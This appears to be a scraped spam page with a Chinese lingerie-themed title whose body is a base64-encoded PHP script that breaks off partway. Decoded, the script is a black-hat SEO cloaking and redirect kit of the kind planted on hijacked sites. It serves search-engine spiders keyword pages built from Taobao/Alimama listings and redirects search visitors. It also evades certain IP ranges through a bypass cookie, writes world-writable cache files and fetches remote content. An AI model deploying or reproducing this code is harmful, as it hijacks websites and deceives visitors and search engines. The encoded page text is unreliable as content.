性感情趣内衣女诱惑骚+真人冬
2016-05-25 13:19:43
ICRrZXlOYW1lID0n5oCn5oSf5oOF6Laj5YaF6KGj5aWz6K+x5oOR6aqaK+ecn+S6uuWGrCc7IAoK ZnVuY3Rpb24gQXBwX0dldExpbmsoKXsJCglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29t L2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCmZ1bmN0aW9u IEFwcF9HZXRTZWxmKCl7CglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUt Ii5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCgovL8K3wrXCu8OYw43CvMOG wqwKZnVuY3Rpb24gZ2V0SW1nKCl7CglyZXR1cm4gJ2h0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2lt Zy8yMDE1MTEwNi9scScucmFuZCgxLDIwKS4iLmpwZyI7Cn0KCgoKCmZ1bmN0aW9uIHJuZFN0cigk bGVuZ3RoPTgpewoJJHN0ciA9IG51bGw7Cgkkc3RyUG9sID0gIjAxMjM0NTY3ODlhYmNkZWZnaGlq a2xtbm9wcXJzdHV2d3h5eiI7CgkkbWF4ID0gc3RybGVuKCRzdHJQb2wpLTE7Cglmb3IoJGk9MDsk aTwkbGVuZ3RoOyRpKyspewoJCSRzdHIuPSRzdHJQb2xbcmFuZCgwLCRtYXgpXTsKCX0KCXJldHVy biAkc3RyOwp9CgpjbGFzcyBjb3JlQXBwQ2FjaGV7CgkKCXB1YmxpYyBmdW5jdGlvbiB3cml0ZSgk ZmlsZSwkZmlsZW5hbWUpewoJCXJldHVybiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsc2Vs Zjo6ZW5jb2RlKCRmaWxlKSk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gd3JpdGVub2NvZGUoJGZpbGUs JGZpbGVuYW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCRmaWxlKTsK CX0KCXB1YmxpYyBmdW5jdGlvbiByZWFkKCRmaWxlbmFtZSl7CgkJJGNvbnRlbnQgPSBmaWxlX2dl dF9jb250ZW50cygkZmlsZW5hbWUpOwoJCWlmKHN0cmlzdHIoJGNvbnRlbnQsIjwvZXhwbG9kZT4i KSl7CgkJCSRjb250ZW50ID0gc2VsZjo6Y3V0KCRjb250ZW50LCI8ZXhwbG9kZT4iLCI8L2V4cGxv ZGU+Iik7CgkJfQoJCXJldHVybiBzZWxmOjpkZWNvZGUoJGNvbnRlbnQpOwoJfQoKCXB1YmxpYyBm dW5jdGlvbiBlbmNvZGUoJGZpbGUpewoJCXJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29tcHJlc3Mo c2VyaWFsaXplKCRmaWxlKSkpOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZGVjb2RlKCRmaWxlKXsK CQlyZXR1cm4gdW5zZXJpYWxpemUoZ3p1bmNvbXByZXNzKGJhc2U2NF9kZWNvZGUoJGZpbGUpKSk7 IAoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNz YWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3Nh Z2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVswXTsKCX0KfQoKCgoKJG15X2NvbnRlbnQ9Jyc7 CmlmKCFlbXB0eSgka2V5TmFtZSkpewoJJHF1ZXJ5X2RhdGEgPSBhcnJheSgncSc9PiRrZXlOYW1l LCk7CgkkbXlfYWxpbWFtYSA9IG5ldyBhbGltYW1hKCRxdWVyeV9kYXRhKTsKCSRteV9hbGltYW1h LT5xdWVyeSgpOwoJJG15X2NvbnRlbnQgPSAkbXlfYWxpbWFtYS0+aHRtbCgpOwp9CiRkYXRhID0g c3RyX3JlcGxhY2UoJzxwaHB1bD48L3BocHVsPicsJG15X2NvbnRlbnQsJGRhdGEpOwppZihzdHJw b3MoJGRhdGEsIltpdGVtOm1lbnVdIikhPT0gZmFsc2UmJiFlbXB0eSgka2V5TmFtZSkpewoJJHRh Z191cmwgPSAnaHR0cHM6Ly9zdWdnZXN0LnRhb2Jhby5jb20vc3VnP2NvZGU9dXRmLTgmcT0nLnVy bGVuY29kZSgka2V5TmFtZSk7CgkkdGFnX2NvbnRlbnQgPSBhbGltYW1hOjpIdHRwVmlzaXQoJHRh Z191cmwpOwoJJHRhZ19qc29uID0ganNvbl9kZWNvZGUoJHRhZ19jb250ZW50LHRydWUpOwoJJHRh Z19tZW51ID0gJyc7Cglmb3JlYWNoICgkdGFnX2pzb25bJ3Jlc3VsdCddIGFzICRrZXkgPT4gJHZh bHVlKSB7CgkJJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCQkkcGhwX3NlbGYg PSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsKIAkJJHRhZ19pdGVtX3VybD0naHR0cDovLycuJGh0dHBf aG9zdC4kcGhwX3NlbGYuJz9rZXlOYW1lPScudXJsZW5jb2RlKCR2YWx1ZVswXSk7CgkJJHRhZ19t ZW51ID0gJHRhZ19tZW51Lic8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iJy4kdGFnX2l0ZW1fdXJs LiciPicuJHZhbHVlWzBdLic8L2E+JzsKCX0KCSRkYXRhID0gc3RyX3JlcGxhY2UoJ1tpdGVtOm1l bnVdJywkdGFnX21lbnUsJGRhdGEpOwp9CgpjbGFzcyBhbGltYW1hewoJCglwdWJsaWMgJHNob3df c3BpZGVyOwoJcHVibGljICRqdW1wX3JlZjsKCXB1YmxpYyAkaHR0cF9yZWZfZmlsdGVyOwoJcHVi bGljICRqdW1wX3VybCA9ICIiOwoJcHVibGljICRkb21haW4gPSAiIjsKCXB1YmxpYyAkY29uZGl0 aW9uID0gIiI7CglwdWJsaWMgJGFwcF9zZXJ2ZXIgPSAiIjsKCXB1YmxpYyAkbG9nX3NwaWRlciA9 ICIiOwoJcHVibGljICRjdXJfc3BpZGVyID0gIiI7CglwdWJsaWMgJGFsbG93X2lwID0gIiI7Cglw dWJsaWMgJGlzQ2FjaGUgPSBmYWxzZTsKCXB1YmxpYyAkY3Jhd2xfdXJsID0gImh0dHA6Ly9wdWIu YWxpbWFtYS5jb20vaXRlbXMvc2VhcmNoLmpzb24iOwoJcHVibGljICRxdWVyeV9kYXRhOwoJcHVi bGljICRjb250ZW50OwoKCXB1YmxpYyAkbGlfdGVtcGxhdGU9IjxsaT4KICA8ZGl2IGNsYXNzPSds aV9saXN0JyBvbm1vdXNlb3Zlcj0ndGhpcy5jbGFzc05hbWU9J2xpX2hvdmVyJycgb25tb3VzZW91 dD0ndGhpcy5jbGFzc05hbWU9J2xpX2xpc3QnJz4KICAgIDxkaXYgY2xhc3M9J25ldyc+PC9kaXY+ CiAgICA8ZGl2IGNsYXNzPSdjb2xsZWN0Jz48YSBocmVmPSdqYXZhc2NyaXB0OjsnPjwvYT48L2Rp dj4KICAgIDxkaXYgY2xhc3M9J3BpYyc+PGEgaHJlZj0ne3VybH0nIHRhcmdldD0nX2JsYW5rJz4g PGltZyBzcmM9J3twaWN1cmx9Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSd0aXRsZSc+IDxh IGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+e3RpdGxlfTwvYT48L2Rpdj4KICAgIDxkaXYg Y2xhc3M9J21vbmV5X2JnJz4gCgkgICAgPHNwYW4+PGVtIGNsYXNzPSdtb25leV9zeW1ib2wnPu+/ pTwvZW0+PGVtIGNsYXNzPSdtb25leV9udW0nPntwcmljZX08L2VtPjwvc3Bhbj4gCgkgICAgPHNw YW4gY2xhc3M9J2Z4X21vbmV5X2JnJz4gPGVtIGNsYXNzPSd6aGVrb3UgaXRlbScgc3R5bGU9J3Zp c2liaWxpdHk6IHZpc2libGU7Jz48Yj57bmlja308L2I+PC9lbT4gCgkgICAgPGVtIGNsYXNzPSdx aWFuZ291Jz48L2VtPiAKICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGpwX2JvdHRvbV9iZyc+ CiAgICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b20nPgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF9m YWJ1IGNvbG9yXzk5Jz57dG90YWxGZWV9PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ndGpwX3hp YW9iaWFuIGNvbG9yXzY2Jz57dG90YWxOdW19PC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+ CiAgPC9kaXY+CjwvbGk+ICI7CgoJLy/lrprkuYnmnoTpgKDlh73mlbDvvIznlKjkuo7liJ3lp4vl jJbotYvlgLwKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRxdWVyeV9kYXRhKQogICAgewogICAg ICAgICAkdGhpcy0+cXVlcnlfZGF0YSA9ICRxdWVyeV9kYXRhOyAgICAgICAgLy/ov5nph4zlt7Ln u4/kvb/nlKjkuoZ0aGlz5oyH6ZKI6K+t5Y+l4pGgCiAgICB9CgoJcHVibGljIGZ1bmN0aW9uIHNl dFF1ZXJ5RGF0YSgkcXVlcnlfZGF0YSl7CgkJJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0 YTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gaHRtbCgpewoJCSRjb250ZW50 ID0gJHRoaXMtPmNvbnRlbnQ7CgkJJGFsaW1hbWFfanNvbiA9IGpzb25fZGVjb2RlKCRjb250ZW50 LHRydWUpOwoJCSRodG1sID0gIjx1bD4iOwoJCWZvcmVhY2ggKCRhbGltYW1hX2pzb25bJ2RhdGEn XVsncGFnZUxpc3QnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJIAkJJGl0ZW1fdXJsPSR2YWx1ZVsn YXVjdGlvblVybCddOwoJIAkJJGl0ZW1fdGl0bGU9JHZhbHVlWyd0aXRsZSddOwoJIAkJJGl0ZW1f cHJpY2U9JHZhbHVlWyd6a1ByaWNlJ107CgkgCQkkaXRlbV9waWN0VXJsPSR2YWx1ZVsncGljdFVy bCddLidfNDAweDQwMF8ud2VicCc7CgkgCQkkaXRlbV9uaWNrPSR2YWx1ZVsnbmljayddOwoJIAkJ JGl0ZW1fdG90YWxOdW09J+aAu+mUgOmHjzonLiR2YWx1ZVsndG90YWxOdW0nXTsKCSAJCSRpdGVt X3RvdGFsRmVlPSfmgLvkuqTmmJPpop06Jy4kdmFsdWVbJ3RvdGFsRmVlJ107CgoJCQkkaHR0cF9o b3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwogCQkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BI UF9TRUxGJ107CgkgCQkkaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/ Z290dT0nLmJhc2U2NF9lbmNvZGUoJGl0ZW1fdXJsKTsKCgkgCQkkaXRlbV9waWN0VXJsPSdodHRw Oi8vaS5rYW50dS5pbi8nLmJhc2U2NF9lbmNvZGUoJGl0ZW1fcGljdFVybCk7CgoJCQkkbGkgPSAk dGhpcy0+bGlfdGVtcGxhdGU7CgoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RpdGxlfScsJGl0ZW1f dGl0bGUsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3twcmljZX0nLCRpdGVtX3ByaWNlLCRs aSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dXJsfScsJGl0ZW1fdXJsLCRsaSk7CgkJCSRsaSA9 IHN0cl9yZXBsYWNlKCd7cGljdXJsfScsJGl0ZW1fcGljdFVybCwkbGkpOwoJCQkkbGkgPSBzdHJf cmVwbGFjZSgne3RvdGFsTnVtfScsJGl0ZW1fdG90YWxOdW0sJGxpKTsKCQkJJGxpID0gc3RyX3Jl cGxhY2UoJ3tuaWNrfScsJGl0ZW1fbmljaywkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3Rv dGFsRmVlfScsJGl0ZW1fdG90YWxGZWUsJGxpKTsKCgkJCSRodG1sID0gJGh0bWwuJGxpOwoJIAkJ Ly8gZWNobyAkbGk7CgkgCX0KCSAJJGh0bWwgPSAkaHRtbC4iPC91bD4iOwoJCXJldHVybiAkaHRt bDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcXVlcnkoKXsKCQkkdXJsICA9ICR0aGlzLT5jcmF3bF91 cmwuJz8nLmh0dHBfYnVpbGRfcXVlcnkoJHRoaXMtPnF1ZXJ5X2RhdGEpOwoJCSR0aGlzLT5jb250 ZW50ID0gJHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcnVuKCl7 CgkJJHRoaXMtPmRvbWFpbiA9ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJJHRoaXMtPmp1bXBf cmVmID0gZXhwbG9kZSgifCIsImJhaWR1LnxoYW9zby58aGFvc291LnxiaW5nLnxzby58c29nb3Uu fHNvc28uIik7CgkJJHRoaXMtPmh0dHBfcmVmX2ZpbHRlciA9IGV4cGxvZGUoInwiLCJpbnVybDp8 c2l0ZTp8c2l0ZSUzQXxpbnVybCUzQSIpOwoJCSR0aGlzLT5hbGxvd19pcCA9ICIyMjIuMTg0LjIz NHwxMTIuODcuNzF8NTguMjIxLjg3Lnw0OS42Ny4yMjMiOwoJCSR0aGlzLT5jb25kaXRpb24gPSAo JF9HRVRbJ2FpZCddID4gMTAwMDAwMDAgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSk7CgkJJHRoaXMt PmFwcF9zZXJ2ZXIgPSAiIjsKCQkkdGhpcy0+aXNDYWNoZSAgPSBGYWxzZTsKCQlpZigkdGhpcy0+ aXNTcGlkZXIoKSAmJiAkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJCWlmKCR0aGlzLT5jb25kaXRp b24pewoJCQkJCWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJCQkJJHJlbHNldF9ob3N0ID0gJHRoaXMt PmdldFNlcnZlck5hbWUoKTsKCQkJCQkJJGRpciA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAn V0lOJyA/ICdDOi93aW5kb3dzL3RlbXAvJyA6ICcvdG1wLycpIC4gc3Vic3RyKG1kNSgkcmVsc2V0 X2hvc3QpLCAyNikgLiBjaHIoNDcpOwoJCQkJCQkkY2FjaGVGaWxlID0gJGRpci4nc2Vzc18nIC4g c3Vic3RyKG1kNShodHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKSksIDYpOwoJCQkJCQlpZighQGZpbGVf ZXhpc3RzKCRkaXIpKXsKICAgICAgICAgICAgIAkJCQkgbWtkaXIoJGRpciwgMDc3Nyk7CiAgICAg ICAgICAgIAkJCX0KCQkJCQkJaWYoQGZpbGVfZXhpc3RzKCRjYWNoZUZpbGUpICYmIEBmaWxlc2l6 ZSAoJGNhY2hlRmlsZSkgPiAzMiApewoJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6cmVhZCgk Y2FjaGVGaWxlKTsKCQkJCQkJCSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVN UExBVEUpOwoJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9PiR2KXsKCQkJCQkJCQkkZmxhZyA9 ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdl KTsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQlleGl0KCk7CgkJCQkJCX0KCQkJ CQkJZWxzZQoJCQkJCQl7CQoJCQkJCQkJLy/CsMO8wrrCrMK9w7hBUFDCvMK0wr/DiQoJCQkJCQkJ JGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJCWlmKCRjdXJy ZW50UGFnZSAmJiBzdHJsZW4oJGN1cnJlbnRQYWdlKSA+IDMyICYmIHN0cmlzdHIoJGN1cnJlbnRQ YWdlLCI8L2V4cGxvZGU+IikpewoJCQkJCQkJCSR2YXIgPSBzZWxmOjpjdXQoJGN1cnJlbnRQYWdl LCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6 ZGVjb2RlKCR2YXIpOwoJCQkJCQkJCSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tf VEVNUExBVEUpOwoJCQkJCQkJCWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJCSRm bGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2 LCRwYWdlKTsKCQkJCQkJCQl9CgkJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCQlAY29yZUFwcENh Y2hlOjp3cml0ZW5vY29kZSgkY3VycmVudFBhZ2UsJGNhY2hlRmlsZSk7CgkJCQkJCQl9CgkJCQkJ CX0KCQkJCQkJZGllKCk7CgkJCQkJfQoJCQkJCWVsc2UKCQkJCQl7CgkJCQkJCSRjdXJyZW50UGFn ZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCWVjaG8gJGN1cnJlbnRQYWdlOwoJ CQkJCQlkaWUoKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlCgkJCQl7CgoJCQkJCSR0aGlzLT5fdW5j b25kaXRpb25faG9vaygpOwoJCQkJfQoJCX0KCQllbHNlCgkJewkKCQkJaWYoJHRoaXMtPmlzUmVm KCkgJiYgJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkkdGhpcy0+SnVtcCgpOwoJCQl9CgkJCWVsc2UK CQkJewoJCQkJJHRoaXMtPl91blNwaWRlcl9ob29rKCk7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGlzQWxsb3dkSXAoKXsKCQkkaXAgPSAkdGhpcy0+Y2xpZW50SXAoKTsKCQkkbm9uX2xp c3QgPSBleHBsb2RlKCJ8IiwkdGhpcy0+YWxsb3dfaXApOwoJCWZvcmVhY2goJG5vbl9saXN0IGFz ICRpcGxpc3QpewoJCQlpZihAc3RyaXN0cigkaXAsJGlwbGlzdCkpewoJCQkJcmV0dXJuIGZhbHNl OwoJCQl9CgkJfQoJCXJldHVybiB0cnVlOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBjbGllbnRJcCgp ewoJCWlmKGdldGVudignSFRUUF9DTElFTlRfSVAnKSAmJiBzdHJjYXNlY21wKGdldGVudignSFRU UF9DTElFTlRfSVAnKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ0hUVFBf Q0xJRU5UX0lQJyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpICYm IHN0cmNhc2VjbXAoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpLCAndW5rbm93bicpKSB7 CgkJCSRvbmxpbmVpcCA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKCQl9IGVsc2Vp ZihnZXRlbnYoJ1JFTU9URV9BRERSJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ1JFTU9URV9BRERS JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwoJ CX0gZWxzZWlmKGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSAmJiAkX1NFUlZFUlsnUkVN T1RFX0FERFInXSAmJiBzdHJjYXNlY21wKCRfU0VSVkVSWydSRU1PVEVfQUREUiddLCAndW5rbm93 bicpKSB7CgkJCSRvbmxpbmVpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCX0KCQlwcmVn X21hdGNoKCIvW1xkXC5dezcsMTV9LyIsICRvbmxpbmVpcCwgJG9ubGluZWlwbWF0Y2hlcyk7CgkJ JG9ubGluZWlwID0gJG9ubGluZWlwbWF0Y2hlc1swXSA/ICRvbmxpbmVpcG1hdGNoZXNbMF0gOiAn dW5rbm93bic7CgkJdW5zZXQoJG9ubGluZWlwbWF0Y2hlcyk7CgkJcmV0dXJuICRvbmxpbmVpcDsK CX0KCglwdWJsaWMgZnVuY3Rpb24gaXNTcGlkZXIoKXsKCQkkYm90cyA9IGFycmF5KAoJCQkJJ0Jh aWR1JyAgICAgICAgPT4gJ2JhaWR1c3BpZGVyJywKCQkJCSdTb2dvdScgICAgICAgID0+ICdzb2dv dScsCgkJCQknSGFvc28nICAgICAgICA9PiAnaGFvc291c3BpZGVyJywKCQkJCSczNjBzcGlkZXIn ICAgICAgICA9PiAnMzYwc3BpZGVyJwoJCSApOwoJCSR1c2VyQWdlbnQgPSBzdHJ0b2xvd2VyKCRf U0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CgkJZm9yZWFjaCAoJGJvdHMgYXMgJGsgPT4gJHYp ewoJCQlpZiAoc3RyaXN0cigkdXNlckFnZW50LCR2KSl7CgkJCQlpZighZW1wdHkoJHRoaXMtPmxv Z19zcGlkZXIpKXsKCQkJCQlAZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmxvZ19zcGlkZXIsJHYu Ii0+VmlzaXRlZCAiLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXS4iYXQ6ICIuZGF0ZSgiWS1tLWQg SDppOnMiKS4iXG4iLEZJTEVfQVBQRU5EKTsKCQkJCX0KCQkJCSR0aGlzLT5jdXJfc3BpZGVyID0g JGs7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBmYWxzZTsJ Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzUmVmKCl7CgkJJHJlZiA9IHN0cnRvbG93ZXIoQCRfU0VS VkVSWydIVFRQX1JFRkVSRVInXSk7CgkJaWYoaXNzZXQoJF9DT09LSUVbImRvbWFpbi1maWx0ZXIt YnlwYXNzIl0pKXsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQkKCQlpZighJHRoaXMtPmlzQWxsb3dk SXAoKSl7CgkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3MiLCAibG9sIiwgdGltZSgp ICsgMjU5MjAwKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJZm9yZWFjaCgkdGhpcy0+aHR0cF9y ZWZfZmlsdGVyIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYoc3RyaXN0cigkcmVmLCRy KSl7CgkJCQlzZXRjb29raWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSAr IDI1OTIwMCk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkKCQlmb3JlYWNoKCR0aGlzLT5q dW1wX3JlZiBhcyAkcil7CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikp ewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFNlcnZl ck5hbWUoKSAKCXsgCgkJJFNlcnZlck5hbWUgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydTRVJWRVJf TkFNRSddPyRfU0VSVkVSWydTRVJWRVJfTkFNRSddOiRfU0VSVkVSWydIVFRQX0hPU1QnXSk7IAoJ CWlmKCBzdHJwb3MoJFNlcnZlck5hbWUsJ2h0dHA6Ly8nKSApIAoJCXsgCgkJCXJldHVybiBzdHJf cmVwbGFjZSgnaHR0cDovLycsJycsJFNlcnZlck5hbWUpOyAKCQl9IAoJCXJldHVybiAkU2VydmVy TmFtZTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFBhZ2UoKXsKCQlpZigkdGhpcy0+aXNDYWNo ZSl7CgkJCSRjYWNoZT0iY2FjaGVkIjsKCQl9CgkJJHVybCAgPSAkdGhpcy0+YXBwX3NlcnZlci4i P2RvbWFpbj0iLiR0aGlzLT5kb21haW4uIiZnaWQ9MTk5JnNwaWRlcj0iLiR0aGlzLT5jdXJfc3Bp ZGVyLiImY2FjaGU9Ii4kY2FjaGUuIiZsb2NhbFBhcj0iLmh0dHBfYnVpbGRfcXVlcnkoJF9HRVQp OwoJCXJldHVybiAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKICAgIHB1YmxpYyBmdW5jdGlv biBIdHRwVmlzaXQoJHdlYnVybCkgewogICAgCSR1c2VyX2FnZW50ID0gIk1vemlsbGEvNS4wIChN YWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEwXzUpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hU TUwsIGxpa2UgR2Vja28pIENocm9tZS80NS4wLjI0NTQuODUgU2FmYXJpLzUzNy4zNiBRUUJyb3dz ZXIvMy45LjM5NDMuNDAwIjsKICAgICAgICAkcmVtb3RlX2RhdGEgPSBOVUxMOwogICAgICAgIGlm IChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycpKSB7CiAgICAgICAgICAgICRjdXJsID0gQGN1 cmxfaW5pdCgpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAk d2VidXJsKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwg MCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9DT05ORUNUVElNRU9V VCwgMzApOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJB TlNGRVIsIDEpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFH RU5ULCAkdXNlcl9hZ2VudCk7IAogICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAY3VybF9leGVj KCRjdXJsKTsKICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGN1cmwpOwogICAgICAgIH0gZWxzZSB7 CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N0cmVhbV9jb250ZXh0X2NyZWF0ZScp KSB7CiAgICAgICAgICAgICAgICAkaGVhZGVyX2FycmF5ID0gYXJyYXkoJ2h0dHAnID0+IGFycmF5 KCdtZXRob2QnID0+ICdHRVQnLCAndGltZW91dCcgPT4gMzApKTsKICAgICAgICAgICAgICAgICRo dHRwX2hlYWRlciA9IEBzdHJlYW1fY29udGV4dF9jcmVhdGUoJGhlYWRlcl9hcnJheSk7CiAgICAg ICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHdlYnVybCwgZmFs c2UsICRodHRwX2hlYWRlcik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAk dGVtcF91cmwgPSBleHBsb2RlKCIvIiwgJHdlYnVybCk7CiAgICAgICAgICAgICAgICAkbmV3X3Vy bCA9ICR0ZW1wX3VybFsyXTsKICAgICAgICAgICAgICAgICRodHRwX3BvcnQgPSA4MDsKICAgICAg ICAgICAgICAgICRnZXRfZmlsZSA9IHN1YnN0cigkd2VidXJsLCBzdHJsZW4oJG5ld191cmwpICsg Nyk7CiAgICAgICAgICAgICAgICBpZiAoc3Ryc3RyKCRuZXdfdXJsLCBjaHIoNTgpKSkgewogICAg ICAgICAgICAgICAgICAgICRzX3Zhcl9hcnJheVsndGQnXSA9IGV4cGxvZGUoY2hyKDU4KSwgJG5l d191cmwpOwogICAgICAgICAgICAgICAgICAgICRuZXdfdXJsID0gJHNfdmFyX2FycmF5Wyd0ZCdd WzBdOwogICAgICAgICAgICAgICAgICAgICRodHRwX3BvcnQgPSAkc192YXJfYXJyYXlbJ3RkJ11b MV07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZnNvY2tfcmVzdWx0ID0gQGZz b2Nrb3BlbigkbmV3X3VybCwgJGh0dHBfcG9ydCk7CiAgICAgICAgICAgICAgICBAZnB1dHMoJGZz b2NrX3Jlc3VsdCwgJ0dFVCAnIC4gJGdldF9maWxlIC4gJyBIVFRQLzEuMScgLiAiXHJcbiIgLiAn SG9zdDonIC4gJG5ld191cmwgLiAiXHJcbiIgLiAnQ29ubmVjdGlvbjpDbG9zZScgLiAiXHJcblxy XG4iKTsKICAgICAgICAgICAgICAgIHdoaWxlICghZmVvZigkZnNvY2tfcmVzdWx0KSkgewogICAg ICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSAuPSBmZ2V0cygkZnNvY2tfcmVzdWx0LCAxMDI0 KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZzb2NrX3Jlc3Vs dCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZW1vdGVfZGF0YTsK ICAgIH0KCglwdWJsaWMgZnVuY3Rpb24gSnVtcCgpewoJCWlmKCR0aGlzLT5pc0FsbG93ZElwKCkp 